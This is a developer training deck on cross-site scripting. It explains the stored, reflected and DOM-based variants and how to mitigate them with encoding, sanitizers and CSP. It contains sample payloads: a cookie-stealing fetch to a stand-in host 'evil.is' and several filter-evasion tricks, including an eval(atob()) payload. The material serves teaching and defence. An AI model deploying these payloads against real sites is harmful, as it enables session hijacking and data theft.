Dev Training

# Dev Training
### Cross-site scripting (XSS)

## Overview

### About

* One of the old ones
* Used to be extremely common
* Only very common today

### What is it

* Injection that causes raw HTML/JavaScript/CSS to be rendered in a server's response

### Types

* Stored (persistent)
* Reflected
* DOM based
Note: Stored - Permanent, e.g. comment/post<br/>
blind - When you can't see the rendered script<br/>
Reflected - Rendered in response<br/>
DOM based - Messes with the DOM client-side<br/>

## Stored XSS

### Request

Malicious payload created

```http
POST /item HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 42

{"name":  "<script>alert('HI');</script>"}
```

### Victim request

```http
GET /items HTTP/1.1
Host: www.example.com
```

```http
HTTP/1.1 200 OK
...

<ul>
    ...
    <li>Normal item</li>
    <li><script>alert('HI');</script></li>
    ...
</ul>
```
Note: Can be hard to detect, payload not reflected in response
Might take a long time to execute
Most basic example -> comments or posts

## Reflected XSS
Note: not stored on server
phishing

### Example

```http
GET /item?id=<script>alert("HI");</script> HTTP/1.1
Host: www.example.com
```

```http
HTTP/1.1 200 OK

...
<div class="error">
    No item exists with ID <script>alert("HI");</script>
</div>
...
```

## DOM based XSS

### What is it?

* Also known as client-side XSS
* XSS payload does not come from server
Note: Payload also not found in response. HTTP response doesn't change but client-side code contained in page executes differently due to the xss

### Example

```html
<!DOCTYPE html>
<body>
<textarea id="inp" onchange="update()">
    <img src="X" onerror="alert(1)"/>
</textarea>
<div id="output"></div>

## Impact

### Stored

* Hijack user sessions
* Perform actions on behalf of users
* Exfiltrate user data
* Redirect user to malicious site
* Modify presentation of content (defacing)
* Part of attack chain
    * SSRF if rendered server-side

### Exfiltration

Payload

```html
<script>
fetch('https://evil.is/'+document.cookie)
</script>
```

`evil.is`

```http
GET /session=r0h4xfQm2ej6ssdzrweaMX7Xo85Q7A70 HTTP/1.1
...
```

### Reflected

* Phishing or other vulnerabilities needed to exploit
    * If exploited, the implications are the same as stored XSS

## Mitigation

### Complex problem to avoid completely

### Untrusted data

* Important to identify *untrusted data*
    * Data that contains user input
    * Err on the side of caution

### Input filtering

* Can slow down attacks, but not a solution
* Good libraries exist
    * [DOMPurify](https://github.com/cure53/DOMPurify)
* **Never do your own sanitation**

### Ad hoc filtering

No `<script>`

```html
<ScRiPt>alert(1)</script>
```

No `<script>` (case insensitive)

```html
<img src="x" onerror="alert(1)">
```

No spaces

```html
<svg/onerror="alert(1)">
```

No `onerror`, spaces, double quotes or single quotes!

```html
<marquee/onstart=eval(atob(`YWxlcnQoImhlbGxvIHdvcmxkIik=`))>
```

### HTML Encoding

* Templating engines usually offer two flavors of injecting variables
    * Encoded vs raw

|Library|Encoded|Raw|
|---|---|---|
|Razor|`@Var`|`@Html.Raw(Var)`|
|jinja2|`{{ var }}`|`{{ var\|safe }}`|

### Location, location, location

* Writing encoded data into "normal" HTML element is safe
    * `div`, `p`, `td`, etc.

### Never write data (even encoded)

Directly in script or style

```html
<script>UNTRUSTED_DATA</script>
<style>UNTRUSTED_DATA</style>
```

In attribute or tag name

```html
<div UNTRUSTED_DATA="yay" />
<UNTRUSTED_DATA href="/yay" />
```

In HTML comment

```html

```

### Further information

[OWASP - XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

### DOM based XSS

### General

* Becoming more common with the popularity of front-end JS frameworks
    * ReactJS, VueJS, etc.

### HTML encoding

|Library|Encoded|Raw|
|---|---|---|
|jQuery|`.text`|Everything else|
|React|`{var}`|`dangerouslySetInnerHTML`|
|Vue|`{{ var }}`|`<div v-html="var" />`|

### A little bit of HTML

* Some applications rely on users being able to edit certain aspects of a document
    * Add titles, images, tables, etc.
* If this is done using HTML, it is very hard to do safely

### Possible solutions

* Sanitizers
    * Can be helpful and slow down attacks, but should not be considered a solution
* CSP
* Use a more limited markup language, e.g. markdown
Note: Content security policy
Used to enforce secure origins of content

## Rules of thumb

### Avoidance

* Encode all untrusted data before adding to HTML
* Don't insert untrusted data into "unusual" locations
* Use CSP for added layer of protection

## Epilogue

### Further reading

* [OWASP - XSS](https://owasp.org/www-community/attacks/xss/)
* [OWASP - DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)
* [PortSwigger XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
* [OWASP - XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
* [OWASP - DOM Based XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)

### Hall of fame

* [Samy - Myspace Worm](https://en.wikipedia.org/wiki/Samy_(computer_worm))
    * [Interview with the author of the worm](https://darknetdiaries.com/episode/61/)
* [XSS in Google](https://www.youtube.com/watch?v=lG7U3fuNw3A)